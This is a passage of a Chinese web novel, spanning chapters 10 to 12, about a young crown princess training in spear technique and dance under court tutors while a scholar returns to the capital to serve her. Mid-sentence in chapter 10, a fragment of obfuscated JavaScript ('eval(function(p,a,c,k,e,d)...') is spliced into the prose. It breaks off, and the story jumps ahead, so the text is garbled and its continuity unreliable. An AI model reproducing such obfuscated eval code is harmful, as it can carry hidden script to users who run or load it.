金簪擦去眼泪,扶着墙壁站起来,仔细地盯看头顶的石刻。 “这是轩辕枪/法。”轩辕紫琴到底是担心这个小女孩,还是走了进来。听到她的哭声,知道她的崩溃,不由心下戚戚然。 金簪赶紧背对他抹干净眼泪,压下哭后的绵软,咬牙道:“《轩辕诀》是上面的枪/法?” 轩辕紫琴摇头,转而看向金簪后面的文刻。“历届太子都会来这里瞻仰轩辕先人的功绩。 所谓的《轩辕诀》,不是世人传颂的武功、仙道法门,而是这些当初帮助轩辕家打天下的养兵布阵法,治世养农行商的要诀,再有你头顶以一杆轩辕红缨/枪,力挑天下祸害的轩辕枪/法。 若论厉害,轩辕枪/法威力虽大,却不是什么厉害的武功。” “宫廷密录为什么这么写?”金簪不解,恨声道。 “你还小,真正厉害得从来不是厉害的武功,也不是仙人法术……而是人心。宫廷录具体怎么写,我不知道。但是,历届太子来过后,应该多有些心得吧。遂而,密录上的东西也成了迷惑人心之举。”轩辕紫琴笑道。 【真想抚摸下这个毛茸茸丫头的脑袋呢。小小年纪就背负这么多,而她身后的那些人,真是没什么人性作为。】 轩辕金簪似懂非懂。 她移步至壁画前端,凝目在振臂高呼的轩辕先祖雕刻,恍然道:“真正厉害得是一颗强大到折服他人的心,令他身后可以有一众追随信任者,随他一起征战天下,或稳定朝政,或共治天下。 孤……利用母后争利之心,利用太傅少傅救国之情,来达到今日可以站在这里的目的。” 她深吸口,稚嫩的脸上露出似成年人才有的苦涩,“论起境界,孤真是不如先祖呢。” 轩辕紫琴挑了下长眉。【这小姑娘真是实诚呢,竟不设防得说出这些。莫非,她是想要……】 “殿下,不怕我说出去吗?” 金簪侧眸反问:“紫琴叔祖会吗?” “不会。”轩辕紫琴回道,“紫琴不光不会,还要送你想要的轩辕枪/法。此枪/法霸道,通常都是轩辕男子所学,你父皇都嫌累,未肯修炼。那么,殿下呢?” “孤不怕苦、不怕累。”金簪说完,接过紫琴君递来的小册子。 她翻开来看,确为枪/法的动作要领。她拱手向轩辕紫琴行礼:“多谢叔祖教导。” 轩辕紫琴摆手,叹息般道:“这山无论是藏龙还是困龙,都不重要了。余下我和小宗伯两家,早没什么威势,也无子侄。如今风子鸾当道,天下乱局已开。 簪儿,叔祖倚老,奉劝您一句。女子不可自轻,但被人轻,也未必是坏事。蛰伏方才有出入,何不借刀杀人呢。” 金簪一下子明白他的意思。太傅屡次在父皇面前蹦跶,提及太女聪慧,都得不到风子鸾的注意。 这便让金簪的心中明白一事:风子鸾轻视女子。 【风子鸾对我轻视,正是因为我是女子,对他而言,毫无威胁。我现在对付不了风子鸾,却可以借用风瑶骑兵稳世道乱局,待他日我成长后再图谋对策。】 金簪再次向轩辕紫琴行礼,又嗫嚅道:“叔祖,簪儿腿疼,叔祖还可以背簪儿下山吗?” 轩辕紫琴含笑点头:“这才像是八岁稚童。这有何难?” 他背过身,蹲在金簪的面前。 金簪扑上轩辕紫琴的后背。她依恋的温暖又从两人的接触间渐渐地升起。 轩辕紫琴背着她走出壁崖,下山阶石道。“听说殿下为了此行,答应陛下一事。” “嗯。”金簪不予提此事,握着他的拂尘,好奇道,“叔祖,男人并不是全像父皇那样,也有像太傅这样,或者沈长清那样,还有像叔祖这样温暖宽厚者。” 轩辕紫琴听她感触颇深,怜惜道:“殿下觉得您的父皇如何?太傅孙忠谋又如何?少傅沈长清又是怎么样?” “儿不言父,徒不言师。”金簪讨巧地回道。 轩辕紫琴哈哈大笑,心中下了一个决定。 “殿下人虽小,心智却早熟,为人更是机敏。以后您见的男人渐多,就会明白,男女皆是一样。 不是温柔的男人就是好人,不是凶狠的男人就无情。如同壁画上的轩辕先祖,真正的男人应该顶天立地,可扛起家国责任,心有柔软之人。 那样的人才配的上簪儿,配得上天下有情心善的女子。” 金簪对此似懂非懂地点头,倒觉得叔祖紫琴君就是挺好的男人。 此行虽没有达成目的,但也为此认清所行之道、所需之心,算不得枉费一翻苦肉算计。 更重要是金簪体会到一个陌生男人的温暖善意。人世间还存有着的陌生人的善意。 【父皇为人薄情、少恩义。 太傅孙忠谋心系家国,望女成凤,似父少温情,似师多严厉。 少傅沈长清同太傅一样,多一层君臣底线在中间,似隔山千里,只谈格物世道。 至于母后,轩辕皇后心中有欲,胜过母女真情。她甚至不如南叶、杜鹃等人。因命系于我一身,才有了一份强取纠结心。】 心怀野望者,偶而遇到温善之时,必然会记忆颇深,以至于影响日后。 10. 鲁门 大周的东南面,东都道府,东都城。 东都乃是旧都,原名神都,曾是千年古祭师制的发源地。后被大周轩辕皇攻克,设为东都,建千年宝刹,以记古时祭师害民之祸。 凌飞一行人几经辗转,从海陆转陆路,搭船、徒步、马车、骑马样样不落,紧赶慢赶着终在夏夔帝一十九年末前到达旧都东都城。 这一路上,水盗游走、陆匪逞凶,他们皆没少遇,但也还好。季闲的武功极高,殷罗又能帮衬,季飞扬虽年仅十一岁,却是机敏油滑,这支老弱队伍硬是抗到东都道府境内。 到达东都道府后,凌飞又接头京都派出的接应武士,一行人这才顺利进入东都城。 东都繁华,不亚于京都,甚至因为远离皇城而管制不严,民风俗情比任何地方都炽热。比方,无处不在的烟花柳巷、暗街拐角的烟雨纱楼,阁上女子或摇扇或抚帕或琴瑟或袅袅春音,伴着鬓发上的钗环叮当声,弥散一股浓郁的情意热潮。当她们向下望时对上行人的目光,几能酥了男人的骨头、开了女人羞色的眸。 凌飞带着小凌云和季飞扬行走在热闹的长街,耳闻季飞扬一声声“哇”、“嗨,美人……”“哇,好香啊……” 他不由想起年轻时候的经历。 凌氏祖籍东都。凌飞正是在此地出生和学艺,被游走在外的天机山人收为俗世弟子。借着天机山是世外仙山的名头,凌飞少年得志,学成后直奔京都,以期为国效力。 他在京都以棋艺胜太保楚刘素,以军策言论辩太傅孙忠谋,因此扬名京都,继而娶青梅竹马杜若元为妻。 新婚燕尔之际,他因兴致高扬,作一首论官诗,被小人抓了把柄,后来,此诗传入太宰风子鸾的府邸,被指辱骂太宰。此后,他仕途不顺,两年后被贬南旋。 此时,凌飞怀抱小凌云,悠悠感怀道:“小阿云啊,咱们终于回了东都城。飞扬……” 季飞扬接住楼台上飘落的绣帕,闻过后向上面嬉笑的姑娘挥手,耳闻凌飞喊来,赶紧道:“哎哎哎……凌爷爷咋了?” 小小年纪的季飞扬极有主张,季闲这个爹要和凌飞称兄道弟,那么他就和凌云拜把子论兄弟。自己的辈分自己排。遂而,他仍是喊凌飞作爷爷。 “自古道:容易折磨才子气,最难消受美人恩。你年纪虽小,却是赤子诚心,理应志在四方,可别被这些香玉迷了眼、失了心。”凌飞提点道。 季飞扬嘿嘿一笑,将手里的丝帕直接投入路过男人的怀,又指了指楼台。那男人当即喜不自禁,往上瞧去,惹来楼台女子一阵嗤笑。 而季飞扬随在凌飞身旁,嘻嘻笑道:“爷爷放心,飞扬定是那个……那个……万花丛中过,片叶不沾身的英雄侠士,才不是软不拉几的才子,弱不可闻的儒门志士。哈哈哈……” 东盼西顾的凌云将目光落在大笑的飞扬身上,伸出手道:“哥哥,抱……” “抱啊?来,哥哥背你。”季飞扬从凌飞手中接过小凌云后将人背在身上。他边穿人流边吆喝道,“快,凌云,那个姑娘好生清丽,哇,这袅袅曲子从吵闹的人群里传来,莫不是在约我?” “约哥哥,去见。”小凌云紧跟着道。三岁的他已经能掌握简单的句子,且应和两句。 “哈哈哈……待你像我这般年纪,哥哥一定带小阿云走遍烟花之地,遍看美人、遍听曲乐。哎哟……”季飞扬撇头,就见季闲虎张脸瞪来,赶紧道,“爹啊,你做什么打我?” “小小年纪不学好。我老早就听见你这破锣嗓子嘿呦瞎叫唤。鸡崽儿还没长成就肖想姑娘,怕是活不到成年,爹现在就结果了你。”季闲说着就要揍儿子。 殷罗赶紧接过小凌云,补了一句:“季少爷,你若想登阁入室,这兜里得有子儿。” 季飞扬被这一男一女压着,免不了吐吐舌头,跑去掬梅处。 “梅姨,还是你最好,最温柔善解人意。” 掬梅抚了下季飞扬的脑袋,温声道:“咱们已经定了房,买了东西就回去休息。这一路奔波劳累,趁着此地安稳,好好养一养。” “哎,我听梅姨的。”季飞扬笑道。论起来,他的身高都要与掬梅平齐了,也是小大人一位。 凌飞拦下打儿子的季闲,笑道:“季闲,陪老哥就近走走。此处虽已没了我凌氏家宅,却还有祖宗坟地。这两天,我想将夫人的骨灰葬入祖坟。” “好。大哥重情重义,有事尽管吩咐小弟。”季闲拱手道,从殷罗的怀里接过小凌云抱在怀。两人的目光相触,不免各自撇离。 这一路,两人互相照应凌氏祖孙,也处出些感情。 三日后,东都城外的青椒山上,凌飞趁这几日修正了祖地的坟宅,也将夫人的骨灰下葬,又将一把凤仙花的种子埋在夫人的坟旁。 他拉着凌云给祖宗和祖母磕了头,又在夫人的坟前叨叨半天,这才珊珊离去。 山脚的不远处有个古镇,凌飞知道季闲等人在那等着。 他路过帮忙置办棺椁的仙人庄,走进去道:“大兄,这次麻烦你了。” 庄里的杜云山已是年近六十的老人,瞧见凌飞后哼了声:“若不是妹子一心顾你,我是不会允你,将她葬入你们凌氏祖坟。哼,小阿云过来,到舅爷爷这儿。” 凌云落地后稳稳当当地走到杜云山的身旁,接过他雕刻的木偶玩具。那是一架有两翼的小鸟玩具,在尾部一抽拉后再一送力,小鸟能借人力和风力扑棱翅膀,继而滑翔一段距离。 “啊……好玩……飞了。鸟飞了。” 杜云山看着追着鸟儿跑的小凌云,冷脸朝凌飞道:“我杜氏因你差点灭门,堂堂鲁门后学、地方司马氏族,一朝辨人不清,因你招祸,致我家学工技无后人传承。凌飞,一句话,你要么将小凌云留在这,要么,你陪我杜氏一族荣光。” 凌飞心有愧疚,心想京中境况不明,若是将小凌云留在此处也好。但是,凌云身后还有殷罗、掬梅两人,此事还待商榷。 他向杜云山躬身行礼道:“大兄,我知你意思。不过,凌云之母给他留了两名照料他的嬷嬷。若你要留他,那么……” “我这地方庙小,做得是死人生意,容不得那么多人,也养不活人,至多留一位。我知你入京一事有人担保,但是,京中危机四伏,不免前路叵测。你将凌云留在此处,而我杜氏擅工械,特质的连弩精妙绝伦,就是风子鸾都想得到它。” 杜云山心中知道,杜氏一门被抄被灭也不能全怪凌飞,甚至凌飞被贬一事都有可能是因他娶了杜氏而起。 杜氏一族为保军工机械之秘拒绝投诚初初掌握风瑶骑兵的风子鸾,后因凌飞一事有了风子鸾借题发挥的借口,进而被株连。此中牵连甚广,涉及颇多,真要一件件较起来,恐怕理不清。 凌飞看向一旁将木鸟拆解的小凌云,愕然道:“小阿云,你怎么拆开了?” “哈哈哈……”杜云山忍不住大笑,摸了把眼角的泪。他从小凌云的手里抽出关键的横条,笑道,“瞧,这就是我杜氏血脉。这一根齿条卡得虽不紧,却是极为隐秘,也不知道是怎么被你给抽出来。哈哈哈……好,好啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在杜云山的教导下,他慢慢地学会画图制械,最爱雕琢飞鸟玩具。因他人小、好奇心重,还发明了各种可让飞鸟飞得更长时间的零件。 某一日,凌云随杜云山外出寻木,小小年纪的凌云误入一片谜一样的高耸松林。林中,他进入一座千年古刹,正是被人们荒废了的大周庙,而里面的壁画记录祭师祸国和轩辕祖皇征战的画面。 小凌云在一面满是山川壁画的墙下挖到一个特别的盒子,里面藏着一张特别的纸。 这张纸被有心的他折成仙鹤的模样。 当纸鹤成型时,纸面晶莹泛光泽,与众多普通纸折出后的神态极为不同。 他将纸鹤往空中一抛,纸鹤迎风见长,长成驴马大小,后能带人上下飞行。 玩心重的凌云将这只奇异的纸鹤带出松林,想着交给杜云山。 杜云山在林外寻见凌云,担忧喊道:“你这孩子怎么乱跑?传闻此地闹鬼,即使古松入天,都无人敢伐。我记得你祖父说过,这里曾是古时妖师葬身之所,遂而不祥。以后,你可不能再来了。” 小凌云本要说林中古刹内的所见,却被舅爷爷呱唧呱唧教训着带回家。 事后,杜云山见小凌云把玩一只纸鹤,这才知道了小凌云的奇遇。 他边拆开纸张,边道:“传闻,上古仙人传承民间‘木牛流马’之术,曾经的轩辕氏就是靠此术突袭东都城,挑了制霸大陆千年的封氏祭师。 凌云,若是你我将这‘木牛流马’之术研究透彻,将来……将来……”或可重振杜氏、凌氏两族荣光,甚至夺回被摩尔人攻占的塞外三城啊。 小凌云看着这张奇异的纸,忍不住撕了一点放在嘴里尝了,又“呸呸”喊道:“银……哥哥舔,银……子。” 杜云山闻言,也舔了纸张,品味一番道:“秘银,里面加了秘银……哈哈哈,小阿云,你果真是我杜氏后人。哈哈……” 在杜云山的帮助下,凌云将纸面上的符号一一拆画,而纸张真正的用料,耗费他经年的研究时间。 11. 绿腰 京都。 金簪自藏龙山回来后近一年,临近大周新得一年,卜耀阁迎来第三位大人。 当今太保楚刘素举荐的返京郡守——凌氏凌飞。他是天机山传人,也是十多年前盛名传遍京都的第一才子。 凌飞此次调任,将在京中担任太女殿下身边的太女少保一职,官阶等同沈长清的太女少傅,乃是太女身边四大官职中的的重要两处,另外还有:太女少府、太女少师两职都暂时缺人。 三公(太师、太保、太傅)已经暗中商议,太傅孙忠谋在这年末致仕离京。如此,三公高位无一人在太女身边。然而,少傅、少保已占太女身边重要随身官员的两席之位。 孙忠谋的离开既是给凌飞入京开道,也是安风子鸾在外征战之心。 世道纷乱,各地道府纷纷举旗反周,痛斥京都苛政害民。 内外交困际,三公知太女身边不可能拥有真正的势力,一旦太女身边聚集的力量过多,会引起六卿之首的大宰辅风子鸾的忌惮。 风子鸾此人虽有样貌才能,却贪权恋势,一旦认为京都威胁比外面更大,他就会从道府平乱中撤离,回京都巩固权势,继而生出谋害太女的戾心。 凌飞被贬出京,在外十几载的经历可悲可叹。在旁人眼里,凌飞早已是人事消磨、无壮年雄心的老者。 这样的人到太女的身边做事,三公明着告诉风子鸾他们的不满,同时,以此令风子鸾认为三公无人可用、无力可为的境况。 三公营造给风子鸾无力把持的朝堂,就是要利用风子鸾和他掌握的风瑶骑兵对抗各地揭竿而起的道府叛乱。 这正是三公的缓兵之计和驱虎吞狼之策。 实际上,凌飞的到来不仅可以扩宽太女金簪的眼界,予她通晓京都外面的世道。同时,凌飞有真才实学,三公中的两位都曾败给凌飞,尤其军策一方面。太女既然想要重建轩辕铁甲,岂可无用兵之才? 三公商议后由太傅孙忠谋以牺牲自我给太女铺路,但求风子鸾继续轻视太女的势力成长情况。凌飞能顺利进京,正是风子鸾陷入三公布局得一个初步胜利的信号。 但是,三公得这番计较并没有将实情透露给太女金簪。 然而,处在局势当中的金簪已经学会跳出局势分析当前的利弊,她心中有谋,多少猜到这里面的周转之术。当然,孙忠谋的离去依然令金簪不舍。 她虽不表现在脸面,但在得知他辞官那天急奔向宫外相送。 这天,孙忠谋在乾明殿拜别轩辕夏后正式离宫。 金簪就奔至宫门前的登令楼下,弯身垂首,恭送老师离去。 孙忠谋站在白石道路铺就的内墙广场尽头,深深地向金簪回礼。待他直身时,面上已是老泪纵横。 辞了官,心却留在大金宫,留在这个年轻聪慧尚且稚嫩的太女身上。 它日能否令世道清明,全系于她一人身。 孙忠谋在原地深深地向太女拜别,一头花白的发髻别一根普通的乌木,卷两袖清风、携一身叹惋,离开了大周朝堂。 他已经想好了,辞官后去乡间村坊,为太女铺第二条路,一条遍布清明吏治的文治路。 孙忠谋一生为国,此生唯愿世稳民安,待来日重会轩辕盛世。若有幸再临金宫,求睹她荣登九五,余生足矣。 拜别后,孙忠谋缓缓向宫墙外的大道走去。 沈长清携凌飞等候在宫外,见太傅蹒跚而来,疾步上前行礼。 凌飞已于昨日在六卿办政的卿事寮报备入职。 今日他特在此等候孙忠谋,恭送老先生。 孙忠谋出了金宫外墙,见到两人后微微颔首。 他疾步上前,扶起前来行礼的凌飞,叹息般道:“老夫年长你近二十载,今日在这金宫墙下,老夫郑重得将太女托付给你。莫负三公为你周全之心,莫负太女救世明道之志。” 凌飞重重地向他点头,热泪润眸,压下涩意后,哽道:“孙太傅,您放心。楚太保已经将京中情况悉数同学生分说清楚,如何行事,学生已心中有数。 学生在此,谢太傅当年保全之恩,谢太傅今日提携之义。” 孙忠谋赶紧摆手。当年京都风满楼以国势论天下的辩会上,两人已论出军策高下。他感怀道:“你师承天机山,当年老夫辩输,心服口服。日后,你将真才实学全数教给太女,便是对老夫最好的报答。” 他拂袖整衣,向凌飞躬身行礼。 “当不得,使不得。”凌飞赶紧回拜,再扶起孙忠谋。 孙忠谋向他一笑,又望向沈长清,欣慰道:“长清,可还记得你的表字。” 沈长清向老师躬身长拜,敛去目中的泪意,如同当年立志时铿锵声道:“学生记得:留得长青在,它日再临峰。长清,表字‘青峰’。青峰谨记老师教诲。” “好好好……日后由你二人在太女身边操持,老夫心安。老夫此去民野,教书育人,为我大周育人养才,亦不曾远去。 送君千里终须一别,两位珍重。告辞。”孙忠谋再次同两人拱手,在孙家侍者的帮助下登上马车。 他同送别的两人点头致意后,承载的马车缓缓地向京都北城门行去。 孙忠谋的老伴、儿媳、孙儿一家已在城郊长亭等候,余下长子孙裴独留京都,担任四辅之一的大右弼,乃是皇帝跟前的臣子。 这是孙忠谋给太女在朝中留得最后助力。 但是,轩辕帝贪念安逸、不理朝政,忙于后宫生子,独信宰辅风子鸾。三公试图收揽四辅官员,仅有孙裴一人在明,实无作用。 孙忠谋的马车已走远,金宫城墙下的沈长清向凌飞拱手,拜道:“凌少保,请。太女应在卜耀阁等候我等。” 两人相携进入卜耀阁,年近十岁的太女已安静地坐在桌案前,静静地凝视进堂的两人。 沈长清自是不必说,清风盈袖,目若朗晴。 至于凌飞,他面白无须,只唇边、眼角乃至额前留有岁月奔走的痕迹。 金簪的第二眼毫不避讳地望入凌飞的眼睛。这双眼形状颇好,想必年轻时定是极为锐利无痕。此刻,这双眸里露出一种极为浅白的谦逊目光。 对于凌飞,金簪有了第一印象。 她想到了从京都西教坊出来的艺舞司侍——梵阆。 梵阆是金簪从藏龙山上下来后,被韩丹带着在西教坊一众舞娘里寻到的舞女,符合轩辕帝提的要求。 当时,金簪择人时,紫琴君也陪在她的身侧。梵阆年轻貌美,风姿婉约若清阳,得了紫琴君一声赞。 梵阆就有幸成了韩丹替轩辕帝选中的西教坊舞艺师。梵阆虽出身于染缸似的西教坊,却有一双深黑透底的纯良眸子。 金簪想到凌飞年长成稳,眼神光白却澈朗谦逊。这不同的人有着不同的阅历,却又有相似的眸子。她在凌飞和梵阆身上找出相似的地方:历经千帆后依然保持一颗谦逊的赤子心。 此刻,凌飞避开与太女的对视,躬身向她行礼:“少保凌飞,拜见殿下千岁。”沈长清同样向金簪行礼。 “两位老师请起,请入座。”金簪故作老成的缓缓道,向一旁的杜鹃颔首,示意奉茶。 凌、沈两人入座后,沈长清先是谈起太女近来的课业,再当凌飞的面给太女上课。他已接过孙忠谋此前在教的文史课程。 凌飞从两人的一教一学中看出太女的言行举止中蕴藏的韵,以及她的才思敏捷程度等,继而明白如何与太女相处和教学。 他在进宫前,听太保楚刘素提到金簪时说“你见过她就知道她是天生的帝才。”当真看到金簪后,凌飞不免暗暗吃惊。 太女年纪虽小,但气度成稳,真有成龙之相,也难怪三公力保此女为帝。 沈长清一人侃侃而谈,偶得凌飞颔首。至于金簪,不常打断他,实在不懂之处,她才会令沈长清暂停后询问,弄清楚后再继续听讲。 沈长清早知金簪聪慧,但凡提过、讲解一遍的要义,都能用心记下。如此当面教学是为了给新来的凌飞对太女有一个直观的感受。 沈长清授完课,又当凌飞的面将太女身边的人事解说一番,填补太保楚刘素没有说完整的部分。 凌飞对太女身边的情形就有了非常直观全面的了解,若用词形容太女身边的人事,那就是……万事不齐、无人可用,而且太女这个人本身也存在问题。 凌飞暗叹一声。 太傅、少傅等人身处其中,只看出太女用功、多智近妖,却不知小小年纪心思颇深对未来有极大的影响。 这样的人日后为帝,若无才智,多半是唯利是图,难以理解他人疾苦。若有才智,恐怕多疑多心,恐难常伺。 凌飞默默地垂敛目光,暗道:不知太女殿下对自身的处境作何感想?这女孩比凌云大不了几岁,面容能一直保持沉静无波,与季飞扬的开朗洒脱相比,两人的性情简直是天地之别。她身为大周太女,若是一直如此,长期以往,恐怕埋祸在后。 他一边对太女心生怜惜,一边又觉得严谨专肃的太女过于板正而少人色。 除开内在的因素,凌飞又想到自身可任太女少保一事。 【陛下肯同意无权无势的凌氏担任太女少保,实则变相挟制太女势力的增长。武力好、又有禁军权的太保楚刘素,因年纪大而不再露面,因忌惮大宰辅势力、知轩辕皇不喜等因素,将毫无根基的凌氏送上少保位,这样才安了大周最有权势的两人的心。 太女的境况和她这个人一样,如履薄冰、崖边蹈足。】 沈长清侃侃说完,又自省没有遗漏,才朝金簪和凌飞颔首。 凌飞接上道:“殿下,少保一职原是教导殿下骑射功夫。然而,微臣不会武,微臣所会是十几年在乡野民间所经所历。若殿下有兴趣,微臣每日予殿下讲一段为官经历和民间野趣,可行?” 沈长清错愕了下,这与先前商议的不同。凌少保怎么改了来此初衷,不教殿下军策政论,反倒说经历野趣,难道他是觉出什么了吗? 凌飞又道:“太女殿下聪慧,孙大人不仅擅文处事,对于军阵布局亦是此中好手,想必殿下已被传授。” 太女金簪也不懂凌飞的用意,但顺势颔首。 太傅孙忠谋确实是全心全意的倾囊相授,关于处世之道、立身之法,治民国策、为君如何,乃至大周的形势以及日后如何都有分说一二。 “那么,如今殿下缺得是将书本和世道治世结合,凌飞前来就是为了此事。”凌飞缓缓地解释道。 沈长清眨了下眼,“是……这……”好像也没说错,军策政论贵在实用,或者这就是凌少保的教学方式。 金簪抬手,按下沈长清的言论。 她已知凌飞资料,师承天机老人,乃是军策好手。不过,老师不肯教,自有他的道理,不急于一时。 她颔首道:“孤明白。少傅格物研学,晓天下农商工利。太傅离去前又将文治一块交给他。孤在为学上并无所缺。 如凌少保所言,学行结合,才可透彻世间道理。至于您是要讲治世古典或民间典故、为官经历,皆由凌少保决定。” 凌飞听着清脆的声音说出沉稳的话,稍许适应了下。 他甚至听出金簪对自己的不以为然。由此确认他此前的判断:太女寡情、知恩义却不尽其然。若长此以往,必成隐患。 然而,这些都可以被潜移默化,需通过典故和老师的行事态度来慢慢改变她的性情。 他按下这些不表,恭敬道:“殿下灵慧。” 待沈长清和凌飞离开卜耀阁,金簪微不可见地松懈固缚肩膀的力量,轻出口气,抬目看向阁顶。 南叶送完少傅、少保后转回,太女已不在书案前。她微动耳尖,听到卜耀阁二楼传来轻微的响动,尽职地 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梵阆的舞迤逦多情,舞动起来犹如天女下凡。 金簪在见识过后学会第一支舞蹈,就深深地爱上这种旋转律动感觉。 当她沉浸式地投入到一种舞蹈的韵感状态,这会让她忘记身处何地、所学为何,只因舞而舞的尽情感。 金簪将压闷的心境寄托在舞蹈上,展现出来得这缕自由光,闯进梵阆的内心深处。 梵阆心知紫琴君的嘱托,拼着被皇后处死的风险,将毕生所学的舞蹈倾囊传授给太女。 同时,她教导太女如何编舞自创。 金簪因此学会将舞和轩辕枪法融合的技巧,自创枪舞之术。 此刻,梵阆看着地位尊高的女孩抛开日日敷脸的假面,由着心意投入所喜,比起只听太傅的命令学治世之道、同少傅学习凡世要略活泼太多了。 女子学舞本是喜好之事,进入欢场是生活所迫,无关喜好。若太女因舞蹈而令眸里有光,何不让她舞得更开心自在些呢? “殿下,正正经经的舞蹈动作已经学了近一年,咱们就学习《绿腰》吧。”梵阆说着,玉足轻抬,如杨柳般轻拂入场。 绿腰之舞重在腰身律感,乃至带动胸、颈、头、双臂、双足的韵律,像是竹上仙子,柳上春芽,由慢而快,由简入繁。 当梵阆下腰扭摆,当堂凌空一旋时,金簪颇为诧异。这等力量岂是一个毫无武功的女子所能使出? 然而,梵阆自小习舞,心中有志,遂能在西教坊之地拔得头筹,入了嬉戏教坊司的紫琴君眼,得他庇佑。又因轩辕帝一个意外想法,梵阆得以入宫,亲授太女殿下舞艺。这般的人生经历波澜起伏,却是因她自小刻苦所学结下的后缘。 在梵阆鼓励的眼神下,金簪轻舒口气,自然而然就开始尝试梵阆的舞蹈动作。她的记忆十分出众,虽动作不急梵阆韵律,却也能模仿大概。 因一年的功底打足,金簪在抬手踢足下腰间能轻若回雪、纵若游龙,小手垂后轻摆,似柳被风拂,提足轻踏,裙裾斜飞似云生。 梵阆惊讶地看着投入舞蹈的金簪,感慨道:“殿下天资过人,韵感极佳,来日若配上曲乐,定能一鸣惊人。只是,殿下年纪尚嫩,若以女人之色起舞,定惊世人耳目。” 梵阆真心觉得金簪是天生的舞者,而且那旋舞露面时展露的神态,好似读懂了舞蹈的精髓,令观者沉入其中。 金簪收势立在场中,默默地看向一侧垂头的杜鹃。 梵阆的目光也从杜鹃处收回,微笑地迎上,轻声道:“殿下在舞蹈时可没有现在这么重的心思。” 杜鹃滞了下,赶紧取了净帕递去给金簪。 “殿下,娘娘那边……” “阆娘,孤累了。”金簪心道:果然如此。她在擦洗过后,软软地朝梵阆道。 梵阆微微一笑,拉着金簪回了榻处,以双腿给金簪枕着,轻抚着她的脸颊,哼着乡间小调,引她入睡。 杜鹃拿了盆下阁,瞧见一旁的南叶,不由撇了撇嘴。 “怎么了?”南叶问道,不由将目光看向上方,“不会是殿下出事了吧?” “殿下如今学的舞蹈叫《绿腰》。我曾听内侍说,京都城里最受达官贵人喜欢得就是这绿腰舞。这分明是惑人之舞,殿下是何身份?怎么能学这样的舞蹈。这梵阆也是,明明皇后娘娘……”杜鹃吧唧吧唧道。 南叶轻推了她一把,轻声道:“殿下学会《白纻》时,虽是简单的动作,但是旋纱如旋枪,你就知道她学舞非是真舞了。” “这次不一样。梵阆教了殿下《绿腰》,分明是……是……”杜鹃哎了一声,“自梵阆来后,殿下与你我都不亲近了。” “原来你在意这个啊。傻丫头,殿下不过近十岁,已是不苟言笑,常人家的女孩岂会这样。要我说,殿下这番喜欢一事才像是她这个年纪该有的行事作风。好了,咱们当好差事就行。总之,你我均需记得:生是殿下的人,死是殿下的鬼。至于你担心的事,咱们除了替殿下守住这道门,还能做什么吗?”南叶招来小丫鬟,由着她们取走杜鹃手中的盆,端去换水换盆。 杜鹃轻叹了声,摆手拂袖道:“我只是担心娘娘得知后又罚殿下。罢了,也确实如此。你我当好差事,管好这些人的口风。只是,你我都知道这天下就没有不透风的墙,尤其是在这宫内。那样的舞迟早会被娘娘发现,届时你我……可没好果子吃。” “嗯,再说吧。”南叶赞同这话,默默地看向阁楼上方。 【若是皇后娘娘知道梵阆教殿下这样的舞蹈,恐怕最难得是梵阆才对。左右她不死也要脱成皮。话说回来,殿下明明是那么金尊玉贵一人,竟喜欢跳舞?这太不符合她外露的神态了。哎……】 “但愿你我能替殿下瞒得久些吧。” 12. 牵缘 “少保大人,你这带得是什么?”金簪的目光落在卜耀阁堂中飞翔的木鸟身上,看着小巧的玩意扑棱翅膀飞来,克制想要站起来一探究竟的冲动。 “这是老夫的孙儿从东都遣人带来的机关木偶鸟。”凌飞捡起停落在案几上的小鸟,递给杜鹃。 杜鹃捧着新奇的小鸟,放在金簪的案前。 金簪拿着它翻来覆去找机巧,听着凌飞的话,抽拉横条后旋转了发条,再用力一送。木偶飞鸟向进堂的南叶飞去。 “啊……”南叶吓得赶紧蹲下,盘盏里的东西落了一地。 “呵……”金簪赶紧压住唇角,憋回了笑声。她示意笑不可遏的杜鹃去帮南叶。 “殿下,这是什么呀?”南叶起身后擢令小宫女收拾,捡起木鸟递给杜鹃。 杜鹃稀罕地擦了一下木鸟,又将它送回金簪的案几。 “殿下甚少笑呢,这东西能令殿下开怀,真正是大功鸟儿。” 这次,金簪没有接过来玩,冷静地看向少保凌飞:“你将木鸟还给凌大人。凌大人,上课吧。” 凌飞没有拒绝或多说木鸟,轻轻地点头后讲起了当年卧秋山贡茶一事。 金簪听后,诧异道:“岂有此理,大周律法经千年整治,早已条例分明。官员怎能威逼下辖郡府拿金换命,这金又为何如此珍稀?” 凌飞慢声道:“殿下的名讳可是带了金和簪两字?” “自然。金簪乃是孤的名字,但是,孤被命名后,神女阿乐就建议过父皇,无需民间避讳。这么说,有人以避讳为名行敛财之实?”金簪窥一斑而知全貌,很快理清内中的关联。 “不错。如今,市面无金,都被藏在官僚大族手中,民间更无金买命。既然无钱,那就只能拿人头抵过。”凌飞叹息道,“这就是李云起之流起事能成的因。” “孤虽有耳闻当年倾茶一事,却未曾这般透彻明白此中环节。官员怕贡茶文书延迟到地方一事暴露,就以叛民倾茶为由羁押地方官吏抵罪。这原不过是区区一件小事,却令天下自此不得安宁。”金簪恨声道。 “殿下真以为只是倾茶入山涧的小事引起这番大动荡吗?”凌飞循循善诱道。 “沈少傅说过,非一石可垒房瓦,而动房瓦,一锹足矣。”金簪放远目光,轻声道,“既然一锹能动,必是屋瓦年久失修。这乱起于民间,却是因京中出了问题,才累及天下。” “是啊。今日,臣布置的课业便是殿下想办法去五官寮所的司寇寮走走。听说大宰辅送了几名乱党奸细回京,想必他们的口中应有不少新鲜事。”凌飞说完,等太女颔首后拱手离去。 杜鹃瞧着出神的太女,突然道:“殿下,凌少保没有拿走这木鸟。” 金簪扬眉瞧着她手中的木鸟,轻声道:“放在楼上的多宝架上吧。”母后来时若瞧见它,必又生事端。 金簪见杜鹃颔首而去,又道:“等等,拿来给孤。孤要去官禄道。” “这……”南叶上前道,“殿下,您甚少离开卜耀阁范围,若是前往六卿五官寮所必经之路的官禄道,恐……” “凌少保既布置这样的课业,必是孤能完成的事。无妨。”金簪起身后接过杜鹃手里的木鸟,缓步出了天机宫地界。 路过的宫侍、官僚诧异地看向金簪的随行队伍,纷纷向她行礼,避让一旁。 金簪兀自玩着木鸟,送它飞一段,就追一路,直入官禄道。 此地乃是外廷办政场所,若是太女有职,也得来此处上工。只可惜,如今的太女无权无势,来此处还会被太宰风子鸾的党羽忌惮。 缓步而行的金簪也有迟疑,这样做会不会打草惊蛇呢? 